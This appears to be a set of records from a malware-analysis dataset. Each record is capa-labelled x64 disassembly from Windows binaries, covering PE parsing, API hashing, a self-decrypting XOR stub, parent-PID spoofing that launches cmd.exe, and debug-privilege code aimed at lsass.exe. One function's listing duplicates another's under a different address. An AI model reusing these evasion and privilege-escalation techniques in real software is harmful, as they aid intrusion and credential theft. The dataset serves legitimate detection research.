joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001760
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002550
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002550
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001e0a4]
mov rbx, rcx
test esi, esi
jle 0x140001900
mov rax, qword [0x14001e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000181b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001800
mov rcx, rbx
call fcn.140002220
mov rdi, rax
test rax, rax
je 0x140001922
mov rax, qword [0x14001e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002360
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001907
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000189e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400018b0
add dword [0x14001e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000189e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001760
nop dword [rax]
xor esi, esi
jmp 0x140001828
mov rax, qword [0x14001e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001760
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001760
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001e0e0]
test rbx, rbx
je 0x140001eec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ee3
test rsi, rsi
je 0x140001ee3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ec8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001b530]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001b530]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001b530]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002620
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, cl
xor eax, eax
shl rcx, 4
add r8, rcx
lea r9, [rdx + rax]
lea r10, [rax + r8]
xor ecx, ecx
mov r11b, byte [r10 + rcx]
inc rcx
xor byte [r9], r11b
inc r9
cmp rcx, 4
jne 0x140002636
add rax, 4
cmp rax, 0x10
jne 0x14000262c
ret
Function at 0x1400027b0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov eax, 0x10
mov rbp, rsp
push r15
push r14
push r13
mov r13, rdx
push r12
push rdi
push rsi
lea rsi, [rdx + r8]
push rbx
mov rbx, rcx
and rsp, 0xfffffffffffffff0
sub rsp, 0x40
cmp rsi, r13
je 0x1400029bc
cmp eax, 0x10
jne 0x1400029a7
lea r12, [rsp + 0x30]
mov r8, rbx
xor ecx, ecx
mov r15d, 1
movups xmm0, xmmword [rbx + 0xf0]
mov rdx, r12
lea rdi, [rsp + 0x34]
lea r14, str.cw
movups xmmword [rsp + 0x30], xmm0
call fcn.140002620
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, r12
mov rcx, r12
mov rdx, rcx
xor r8d, r8d
movzx r9d, byte [rdx]
inc r8d
add rdx, 4
mov r9b, byte [r14 + r9]
mov byte [rdx - 4], r9b
cmp r8b, 4
jne 0x14000282e
inc rcx
cmp rdi, rcx
jne 0x140002828
mov cl, byte [rsp + 0x35]
mov dl, byte [rsp + 0x31]
mov byte [rsp + 0x31], cl
mov cl, byte [rsp + 0x39]
mov byte [rsp + 0x35], cl
mov cl, byte [rsp + 0x3d]
mov byte [rsp + 0x3d], dl
mov dl, byte [rsp + 0x32]
mov byte [rsp + 0x39], cl
mov cl, byte [rsp + 0x3a]
mov byte [rsp + 0x3a], dl
mov dl, byte [rsp + 0x36]
mov byte [rsp + 0x32], cl
mov cl, byte [rsp + 0x3e]
mov byte [rsp + 0x3e], dl
mov dl, byte [rsp + 0x33]
mov byte [rsp + 0x36], cl
mov cl, byte [rsp + 0x3f]
mov byte [rsp + 0x33], cl
mov cl, byte [rsp + 0x3b]
mov byte [rsp + 0x3f], cl
mov cl, byte [rsp + 0x37]
mov byte [rsp + 0x37], dl
mov byte [rsp + 0x3b], cl
cmp r15d, 0xe
je 0x140002969
mov r8b, byte [rax]
mov cl, byte [rax + 1]
add rax, 4
mov r9b, byte [rax - 1]
mov dl, byte [rax - 2]
xor ecx, r8d
mov r11d, ecx
xor edx, r9d
mov r10d, ecx
add ecx, ecx
sar r11b, 7
xor r10d, edx
and r11d, 0x1b
xor ecx, r11d
mov r11d, r8d
xor r8d, r9d
xor r9d, r10d
xor r11d, r10d
xor ecx, r11d
mov byte [rax - 4], cl
mov cl, byte [rax - 3]
xor cl, byte [rax - 2]
mov r11d, ecx
add ecx, ecx
sar r11b, 7
and r11d, 0x1b
xor ecx, r11d
mov r11b, byte [rax - 3]
xor r11d, r10d
xor ecx, r11d
mov byte [rax - 3], cl
mov ecx, edx
add edx, edx
sar cl, 7
and ecx, 0x1b
xor edx, ecx
mov cl, byte [rax - 2]
xor ecx, r10d
xor edx, ecx
mov byte [rax - 2], dl
mov edx, r8d
add r8d, r8d
sar dl, 7
and edx, 0x1b
xor edx, r8d
xor r9d, edx
mov byte [rax - 1], r9b
cmp qword [rsp + 0x28], rax
jne 0x1400028b9
mov ecx, r15d
mov r8, rbx
mov rdx, r12
inc r15d
call fcn.140002620
jmp 0x140002822
mov r8, rbx
mov rdx, r12
mov ecx, 0xe
call fcn.140002620
mov eax, 0xf
mov dl, byte [rbx + rax + 0xf0]
cmp dl, 0xff
jne 0x14000299a
mov byte [rbx + rax + 0xf0], 0
sub rax, 1
jae 0x14000297e
jmp 0x1400029a5
cdqe
inc edx
mov byte [rbx + rax + 0xf0], dl
xor eax, eax
movsxd rdx, eax
inc eax
mov dl, byte [rsp + rdx + 0x30]
xor byte [r13], dl
inc r13
jmp 0x1400027d6
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x14000d010
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push r14
xor r14d, r14d
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
mov rdx, rbx
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call 0x140013c00
mov rdx, rbx
mov esi, eax
add rsi, rbx
mov ecx, dword [rsi + 0x20]
call 0x140013c00
mov ecx, dword [rsi + 0x24]
mov rdx, rbx
mov r12d, eax
call 0x140013c00
mov r13d, dword [rsi + 0x18]
add r12, rbx
mov edi, eax
cmp r13, r14
je 0x14000d0cf
mov ecx, dword [r12 + r14*4]
mov rdx, rbx
call 0x140013c00
mov ebp, eax
add rbp, rbx
mov rcx, rbp
call fcn.14000d5a0
cmp eax, 0xa6caa1c5
jne 0x14000d0b4
mov ecx, dword [rsi + 0x1c]
mov rdx, rbx
add rdi, rbx
call 0x140013c00
movzx edx, word [rdi + r14*2]
mov eax, eax
add rax, rbx
mov ecx, dword [rax + rdx*4]
add rsp, 0x20
mov rdx, rbx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp 0x140013c00
mov rcx, rbp
call fcn.14000d5a0
mov edx, eax
lea rax, [r14 + 1]
cmp edx, 0xffe885ef
je 0x14000d083
mov r14, rax
jmp 0x14000d05e
add rsp, 0x20
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp eax, dword [rdx + 0x14]
jb 0x140013c4a
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x140013c48
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x140013c40
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp eax, r10d
jae 0x140013c40
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x140013c1e
xor eax, eax
ret

Function at 0x14000d130
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, qword [0x14001b4a0]
push r12
xor edx, edx
push rbp
push rdi
push rsi
push rbx
mov rbx, qword [rax]
mov rax, qword [rbx + 0x84a]
test rax, rax
je 0x14000d1e1
mov edx, dword [rbx + 0x800]
test edx, edx
jne 0x14000d1e1
movsxd rcx, dword [rax + 0x3c]
xor r8d, r8d
mov ecx, dword [rax + rcx + 0x88]
add rcx, rax
mov edi, dword [rcx + 0x20]
mov r10d, dword [rcx + 0x1c]
mov esi, dword [rcx + 0x24]
mov ebp, dword [rcx + 0x18]
xor ecx, ecx
add r10, rax
add rdi, rax
add rsi, rax
cmp r8d, ebp
jae 0x14000d1db
mov r9d, dword [rdi + r8*4]
cmp word [rax + r9], 0x775a
jne 0x14000d1d6
test rcx, rcx
movzx r9d, word [rsi + r8*2]
jne 0x14000d1ae
mov ecx, dword [r10 + r9*4]
add rcx, rax
jmp 0x14000d1d6
mov r9d, dword [r10 + r9*4]
mov r11, rcx
add r9, rax
mov r12, r9
sub r11, r9
sub r12, rcx
cmp r9, rcx
mov r9d, r12d
cmovb r9d, r11d
lea r11d, [rdx - 1]
cmp r11d, r9d
cmovae edx, r9d
inc r8
jmp 0x14000d189
mov dword [rbx + 0x800], edx
pop rbx
mov eax, edx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14000d550
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test rcx, rcx
je 0x14000d59d
mov r10, rcx
mov eax, 0x1505
mov r9b, byte [r10]
test edx, edx
jne 0x14000d56c
test r9b, r9b
jne 0x14000d57f
ret
mov r11, r10
sub r11, rcx
cmp r11d, edx
jae 0x14000d59d
cmp r9b, 1
adc r10, 0
cmp r9b, 0x60
jbe 0x14000d58e
test r8d, r8d
je 0x14000d58e
sub r9d, 0x20
imul eax, eax, 0x21
movzx r9d, r9b
inc r10
add eax, r9d
jmp 0x14000d55f
ret
Function at 0x14000d5a0
Capabilities:
Hash data using djb2

Disassembly:
mov eax, 0x1505
movsx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000d5b6
imul eax, eax, 0x21
add eax, edx
jmp 0x14000d5a5
ret

Function at 0x14000ef90
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
xor eax, eax
push rbx
mov r8b, byte [rdx + rax]
mov byte [rcx + rax], r8b
mov r8b, byte [rdx + rax + 1]
mov byte [rcx + rax + 1], r8b
mov r8b, byte [rdx + rax + 2]
mov byte [rcx + rax + 2], r8b
mov r8b, byte [rdx + rax + 3]
mov byte [rcx + rax + 3], r8b
add rax, 4
cmp rax, 0x20
jne 0x14000ef94
mov r11d, 8
lea r10, str.cw
lea rbx, [0x14001b6b0]
mov esi, r11d
movzx r9d, byte [rcx + 0x1c]
movzx r8d, byte [rcx + 0x1d]
movzx edx, byte [rcx + 0x1e]
movzx eax, byte [rcx + 0x1f]
and esi, 7
jne 0x14000f012
mov sil, byte [r10 + r8]
mov r8b, byte [r10 + rdx]
mov dl, byte [r10 + rax]
mov al, byte [r10 + r9]
mov r9d, r11d
shr r9d, 3
xor sil, byte [rbx + r9]
mov r9d, esi
jmp 0x14000f027
cmp esi, 4
jne 0x14000f027
mov r9b, byte [r10 + r9]
mov r8b, byte [r10 + r8]
mov dl, byte [r10 + rdx]
mov al, byte [r10 + rax]
xor r9b, byte [rcx]
xor r8b, byte [rcx + 1]
inc r11d
add rcx, 4
xor dl, byte [rcx - 2]
xor al, byte [rcx - 1]
mov byte [rcx + 0x1c], r9b
mov byte [rcx + 0x1d], r8b
mov byte [rcx + 0x1e], dl
mov byte [rcx + 0x1f], al
cmp r11d, 0x3c
jne 0x14000efd8
pop rbx
pop rsi
ret

Function at 0x140013c00
Capabilities:
Enumerate pe sections

Disassembly:
push r14
xor r14d, r14d
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
mov rdx, rbx
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call 0x140013c00
mov rdx, rbx
mov esi, eax
add rsi, rbx
mov ecx, dword [rsi + 0x20]
call 0x140013c00
mov ecx, dword [rsi + 0x24]
mov rdx, rbx
mov r12d, eax
call 0x140013c00
mov r13d, dword [rsi + 0x18]
add r12, rbx
mov edi, eax
cmp r13, r14
je 0x14000d0cf
mov ecx, dword [r12 + r14*4]
mov rdx, rbx
call 0x140013c00
mov ebp, eax
add rbp, rbx
mov rcx, rbp
call fcn.14000d5a0
cmp eax, 0xa6caa1c5
jne 0x14000d0b4
mov ecx, dword [rsi + 0x1c]
mov rdx, rbx
add rdi, rbx
call 0x140013c00
movzx edx, word [rdi + r14*2]
mov eax, eax
add rax, rbx
mov ecx, dword [rax + rdx*4]
add rsp, 0x20
mov rdx, rbx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp 0x140013c00
mov rcx, rbp
call fcn.14000d5a0
mov edx, eax
lea rax, [r14 + 1]
cmp edx, 0xffe885ef
je 0x14000d083
mov r14, rax
jmp 0x14000d05e
add rsp, 0x20
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp eax, dword [rdx + 0x14]
jb 0x140013c4a
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x140013c48
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x140013c40
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp eax, r10d
jae 0x140013c40
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x140013c1e
xor eax, eax
ret
Function at 0x140007f6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140007fb8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140007fb0
cmp dword [rcx + 0x3c], edx
jl 0x140007fb0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140007fb0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140007fb8
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140f75468
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f75472
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f7549b
pop rbp
sub rbp, 0x33
sub rbp, 0xf75468
sub rsp, 0x20
jmp 0x140f754ba
mov rax, 0xf75468
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x27dd74a
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f754d9
jmp 0x140f754f0
add al, 0
add byte [rax], al
or edi, dword [rcx + rbp*4 - 0x5c3cfd09]
rol ebx, 0x76
add cl, bl
add al, bl
movabs dword [0xcb024a4a4a76c3c1], eax
mov eax, dword [rdx + 0x4b]
add cl, byte [rbx - 0x5d]
add cl, byte [rbp + 0x4a4a428a]
add cl, byte [rbp + 0x4a4a6288]
add dil, byte [rbp - 0x74b4fd58]
ror ebx, 0x46
add cl, byte [rbx - 0x5e]
sbb bl, byte [rdx]
add dh, dl
jbe 0x140f754e8
invalid
Function at 0x140001000
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x20
mov rax, qword [0x140004028]
mov dword [rax], 1
mov rax, qword [0x140004030]
mov dword [rax], 1
mov rax, qword [0x140004038]
mov dword [rax], 1
mov rcx, qword [0x140004010]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14000108c
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14000108c
add rcx, rdx
movzx edx, word [rcx + 0x18]
add rcx, 0x18
cmp edx, 0x20b
je 0x140001077
cmp edx, 0x10b
jne 0x14000108c
cmp dword [rcx + 0x5c], 0xf
jb 0x14000108c
add rcx, 0xd0
jmp 0x140001084
cmp dword [rcx + 0x6c], 0xf
jb 0x14000108c
add rcx, 0xe0
xor eax, eax
cmp dword [rcx], 0
setne al
mov rcx, qword [0x140004020]
cmp dword [rcx], 1
mov dword [0x1400070e8], eax
mov ecx, 2
sbb ecx, 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_app_type
mov rax, qword [0x140004088]
mov esi, dword [rax]
call sub.api_ms_win_crt_stdio_l1_1_0.dll___p__fmode
mov dword [rax], esi
mov rax, qword [0x140004078]
mov esi, dword [rax]
call sub.api_ms_win_crt_stdio_l1_1_0.dll___p__commode
mov dword [rax], esi
call dbg._setargv
mov rax, qword [section..rdata]
cmp dword [rax], 1
jne 0x1400010e6
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x20
pop rsi
ret
Function at 0x140001570
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x178
mov qword [rsp + 0x168], rcx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 0
jne 0x1400015b2
mov dword [rsp + 0x174], 0
jmp 0x14000167c
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rsp + 0x15c], eax
lea rcx, [rsp + 0x28]
xor edx, edx
mov r8d, 0x130
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rsp + 0x28], 0x130
mov rcx, qword [rsp + 0x160]
lea rdx, [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x28]
add rcx, 0x2c
mov rdx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp eax, 0
jne 0x140001628
mov dword [rsp + 0x24], 1
jmp 0x140001648
jmp 0x14000162d
mov rcx, qword [rsp + 0x160]
lea rdx, [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
cmp eax, 0
jne 0x1400015fb
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x24], 0
je 0x140001671
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x174], eax
jmp 0x14000167c
mov dword [rsp + 0x174], 0
mov eax, dword [rsp + 0x174]
add rsp, 0x178
ret

Function at 0x140001880
Capabilities:
Get process image filename

Disassembly:
sub rsp, 0x188
mov qword [rsp + 0x180], rcx
mov dword [rsp + 0x17c], edx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x170], rax
mov rcx, qword [rsp + 0x170]
lea rdx, str.NtGetNextProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x168], rax
mov rcx, qword [rsp + 0x170]
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x150], 0
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x158]
mov edx, 0x2000000
xor r9d, r9d
lea r10, [rsp + 0x158]
mov r8d, r9d
mov qword [rsp + 0x20], r10
call rax
cmp eax, 0
jne 0x1400019ee
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rsp + 0x3c], 0
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov r8d, 0x104
call sub.KERNEL32.dll_K32GetProcessImageFileNameA
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x180]
call sym._Z6strstrB6v15000Ua9enable_ifILb1EEPcPKc
cmp rax, 0
je 0x1400019e9
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x150], rax
cmp dword [rsp + 0x17c], 1
jne 0x1400019e4
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x38], eax
mov ecx, dword [rsp + 0x38]
call sym.GetParentProcessIDBYID_unsigned_long_
mov dword [rsp + 0x34], eax
mov edx, dword [rsp + 0x38]
mov r8d, dword [rsp + 0x34]
mov r9, qword [rsp + 0x158]
lea rcx, [rsp + 0x40]
mov rax, rsp
mov qword [rax + 0x20], rcx
lea rcx, str._d_t_d_t0x_.08x_t_s_r_n
call dbg.printf
jmp 0x1400019e9
jmp 0x1400018fd
mov rax, qword [rsp + 0x150]
add rsp, 0x188
ret
Function at 0x140001a00
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
sub rsp, 0xf8
mov qword [rsp + 0xf0], rcx
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x70
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call sym.get_process_handle_char_const__int_
mov qword [rsp + 0x58], rax
xor eax, eax
mov ecx, eax
mov edx, 1
xor r8d, r8d
lea r9, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0xe8]
mov edx, 1
xor r8d, r8d
lea r9, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rsp + 0xe8]
xor edx, edx
mov r8d, 0x20000
lea r9, [rsp + 0x58]
xor eax, eax
mov qword [rsp + 0x20], 8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rsp + 0x80], 0x70
lea rax, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov r9d, eax
lea r10, [rsp + 0x80]
lea rax, [rsp + 0x68]
mov rdx, r9
mov r8, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 0x80010
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x78]
lea rcx, str.___Spawning__s__PID:__u__n
call dbg.printf
nop
add rsp, 0xf8
ret

Function at 0x140001b50
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x1c], ecx
call dbg.__main
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov dword [rbp - 4], 0
mov dword [rbp - 8], ecx
mov qword [rbp - 0x10], rdx
lea rcx, str.SeDebugPrivilege
call sym.EnablePrivilege_char_const_
lea rcx, str.lsass.exe
call sym.test_char_const_
lea rcx, str.TrustedInstaller.exe
call sym.test_char_const_
xor eax, eax
add rsp, 0x40
pop rbp
ret

Function at 0x140002360
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3